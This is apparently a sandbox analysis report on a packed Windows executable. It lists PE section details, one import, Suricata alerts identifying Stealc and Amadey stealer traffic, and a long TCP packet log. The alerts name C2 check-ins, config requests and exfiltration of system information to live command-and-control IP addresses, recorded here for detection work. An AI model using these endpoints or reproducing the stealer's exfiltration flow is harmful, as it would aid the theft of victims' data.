IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
	0x1000	0x249000	0x16200	aaf64b97316205cd2c75d784d65b7022	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.rsrc	0x24a000	0x1000	0x0	d41d8cd98f00b204e9800998ecf8427e	False	0	empty	0.0	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.idata	0x24b000	0x1000	0x200	0d0399d83a742d5d86c5718841e8e842	False	0.134765625	data	0.8646718654202081	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
	0x24c000	0x2a1000	0x200	109422a5756f45bb95011ef593c534f3	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
mvlkjrdz	0x4ed000	0x19a000	0x199800	91cdb5bfe4ac5a82f6c46f271ff4b261	False	0.9947767618666056	OpenPGP Secret Key	7.95315931492027	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
qwnzmlhb	0x687000	0x1000	0x400	ca92f71019171409047ec92fe6d54e79	False	0.8046875	data	6.366327677978816	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
.taggant	0x688000	0x3000	0x2200	da53cb018ca5a40f5ea781297be90516	False	0.05974264705882353	DOS executable (COM)	0.8019744628950056	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Imports

DLL	Import
kernel32.dll	lstrcpy

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-12T13:35:07.770790+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	49709	185.215.113.206	80	TCP
2024-11-12T13:35:08.058865+0100	2044244	ET MALWARE Win32/Stealc Requesting browsers Config from C2	1	192.168.2.6	49709	185.215.113.206	80	TCP
2024-11-12T13:35:08.074596+0100	2044245	ET MALWARE Win32/Stealc Active C2 Responding with browsers Config	1	185.215.113.206	80	192.168.2.6	49709	TCP
2024-11-12T13:35:08.355732+0100	2044246	ET MALWARE Win32/Stealc Requesting plugins Config from C2	1	192.168.2.6	49709	185.215.113.206	80	TCP
2024-11-12T13:35:08.364302+0100	2044247	ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config	1	185.215.113.206	80	192.168.2.6	49709	TCP
2024-11-12T13:35:09.481813+0100	2044248	ET MALWARE Win32/Stealc Submitting System Information to C2	1	192.168.2.6	49709	185.215.113.206	80	TCP
2024-11-12T13:35:10.079233+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	49709	185.215.113.206	80	TCP
2024-11-12T13:35:32.444191+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	51556	185.215.113.206	80	TCP
2024-11-12T13:35:35.946987+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	51556	185.215.113.206	80	TCP
2024-11-12T13:35:37.856471+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	51556	185.215.113.206	80	TCP
2024-11-12T13:35:38.884426+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	51556	185.215.113.206	80	TCP
2024-11-12T13:35:41.056628+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	51556	185.215.113.206	80	TCP
2024-11-12T13:35:41.619553+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	51556	185.215.113.206	80	TCP
2024-11-12T13:35:45.635379+0100	2803304	ETPRO MALWARE Common Downloader Header Pattern HCa	3	192.168.2.6	62262	185.215.113.16	80	TCP
2024-11-12T13:36:04.643989+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.6	62374	185.215.113.43	80	TCP
2024-11-12T13:36:08.173466+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	62388	185.215.113.16	80	TCP
2024-11-12T13:36:15.301415+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.6	62383	TCP
2024-11-12T13:36:16.193085+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	62391	185.215.113.43	80	TCP
2024-11-12T13:36:17.931659+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	62393	185.215.113.206	80	TCP
2024-11-12T13:36:20.170158+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	62394	185.215.113.43	80	TCP
2024-11-12T13:36:21.112698+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.6	62395	185.215.113.16	80	TCP
2024-11-12T13:36:30.830484+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.6	62399	185.215.113.43	80	TCP
2024-11-12T13:36:31.669819+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	62401	185.215.113.206	80	TCP
2024-11-12T13:36:40.156123+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.6	62405	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 12, 2024 13:34:59.730920076 CET	49673	443	192.168.2.6	173.222.162.64
Nov 12, 2024 13:34:59.793390989 CET	49674	443	192.168.2.6	173.222.162.64
Nov 12, 2024 13:35:00.090266943 CET	49672	443	192.168.2.6	173.222.162.64
Nov 12, 2024 13:35:06.549169064 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:06.554105997 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:06.554189920 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:06.554708958 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:06.559537888 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:07.470048904 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:07.470170021 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:07.473685980 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:07.478610992 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:07.535011053 CET	49710	443	192.168.2.6	40.115.3.253
Nov 12, 2024 13:35:07.535051107 CET	443	49710	40.115.3.253	192.168.2.6
Nov 12, 2024 13:35:07.535125971 CET	49710	443	192.168.2.6	40.115.3.253
Nov 12, 2024 13:35:07.535933018 CET	49710	443	192.168.2.6	40.115.3.253
Nov 12, 2024 13:35:07.535947084 CET	443	49710	40.115.3.253	192.168.2.6
Nov 12, 2024 13:35:07.770735979 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:07.770790100 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:07.772403955 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:07.777452946 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:08.058749914 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:08.058865070 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:08.058896065 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:08.058949947 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:08.069756985 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:08.074595928 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:08.355654001 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:08.355731964 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:08.355906010 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:08.355916977 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:08.355959892 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:08.356024027 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:08.356034994 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:08.356065989 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:08.356095076 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:08.356492996 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:08.356503010 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:08.356542110 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:08.356754065 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:08.356796980 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:08.359215975 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:08.364301920 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:08.645260096 CET	443	49710	40.115.3.253	192.168.2.6
Nov 12, 2024 13:35:08.645351887 CET	49710	443	192.168.2.6	40.115.3.253
Nov 12, 2024 13:35:08.646493912 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:08.646567106 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:08.650779963 CET	49710	443	192.168.2.6	40.115.3.253
Nov 12, 2024 13:35:08.650791883 CET	443	49710	40.115.3.253	192.168.2.6
Nov 12, 2024 13:35:08.651055098 CET	443	49710	40.115.3.253	192.168.2.6
Nov 12, 2024 13:35:08.652571917 CET	49710	443	192.168.2.6	40.115.3.253
Nov 12, 2024 13:35:08.652597904 CET	49710	443	192.168.2.6	40.115.3.253
Nov 12, 2024 13:35:08.652601957 CET	443	49710	40.115.3.253	192.168.2.6
Nov 12, 2024 13:35:08.652966022 CET	49710	443	192.168.2.6	40.115.3.253
Nov 12, 2024 13:35:08.663441896 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:08.663491964 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:08.668670893 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:08.668698072 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:08.668710947 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:08.668839931 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:08.668853045 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:08.668864965 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:08.668876886 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:08.699337006 CET	443	49710	40.115.3.253	192.168.2.6
Nov 12, 2024 13:35:08.899837017 CET	443	49710	40.115.3.253	192.168.2.6
Nov 12, 2024 13:35:08.900376081 CET	49710	443	192.168.2.6	40.115.3.253
Nov 12, 2024 13:35:08.900376081 CET	49710	443	192.168.2.6	40.115.3.253
Nov 12, 2024 13:35:08.900401115 CET	443	49710	40.115.3.253	192.168.2.6
Nov 12, 2024 13:35:08.900480032 CET	49710	443	192.168.2.6	40.115.3.253
Nov 12, 2024 13:35:09.340246916 CET	49673	443	192.168.2.6	173.222.162.64
Nov 12, 2024 13:35:09.402771950 CET	49674	443	192.168.2.6	173.222.162.64
Nov 12, 2024 13:35:09.481715918 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:09.481812954 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:09.699601889 CET	49672	443	192.168.2.6	173.222.162.64
Nov 12, 2024 13:35:09.795891047 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:09.800694942 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.079050064 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.079232931 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.079247952 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.079299927 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.079371929 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.079421997 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.079454899 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.079498053 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.079507113 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.079552889 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.079968929 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.079979897 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.080013990 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.080037117 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.080440998 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.080452919 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.080462933 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.080491066 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.080526114 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.081095934 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.081108093 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.081146002 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.239379883 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.239505053 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.239506960 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.239526987 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.239551067 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.239567041 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.239963055 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.239990950 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.240016937 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.240031004 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.240047932 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.240060091 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.240073919 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.240088940 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.240104914 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.240122080 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.240564108 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.240612030 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.240854025 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.240864992 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.240902901 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.241080046 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.241092920 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.241156101 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.241574049 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.241575956 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.241621017 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.356918097 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.356971979 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.357014894 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.357033014 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.357039928 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.357085943 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.357255936 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.357314110 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.357347965 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.357394934 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.357568026 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.357584953 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.357590914 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.357635021 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.358130932 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.358180046 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.358366013 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.358371019 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.358418941 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.358678102 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.358685017 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.358733892 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.358931065 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.358937025 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.358984947 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.400196075 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.400283098 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.400415897 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.474621058 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.474684954 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.474850893 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.474858046 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.474910021 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.475220919 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.475228071 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.475239038 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.475272894 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.475296021 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.475876093 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.475883007 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.475888968 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.475930929 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.476401091 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.476406097 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.476412058 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.476449966 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.517307043 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.517492056 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.517509937 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.517515898 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.517566919 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.592315912 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.592323065 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.592329025 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.592530012 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.592546940 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.592561007 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.592571974 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.592611074 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.593183041 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.593226910 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.593348980 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.593400955 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.593597889 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.593602896 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.593646049 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.593909025 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.593914986 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.593924046 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.593961954 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.634823084 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.634896994 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.634903908 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.635082960 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.635319948 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.635374069 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.710134029 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.710205078 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.710241079 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.710249901 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.710298061 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.710710049 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.710716009 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.710728884 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.710772991 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.711395979 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.711404085 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.711416006 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.711461067 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.711472034 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.712076902 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.712143898 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.765433073 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.765517950 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.765577078 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.765584946 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.765623093 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.766000986 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.766007900 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.766056061 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.827142000 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.827203989 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.827286959 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.827295065 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.827336073 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.827687979 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.827728033 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.827816010 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.827862978 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.828138113 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.828142881 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.828149080 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.828155994 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.828176975 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.828202009 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.828800917 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.828808069 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.828850985 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.829184055 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.829189062 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.829230070 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.869767904 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.869867086 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.869997978 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.870003939 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.870059967 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.870192051 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.870234966 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.870419025 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.870425940 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.870467901 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.944685936 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.944757938 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.944802999 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.944809914 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.944869041 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.945122957 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.945131063 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.945163965 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.945540905 CET	80	49709	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:10.945590973 CET	49709	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:10.945673943 CET	80	49709	185.215.113.206	192.168.2.6
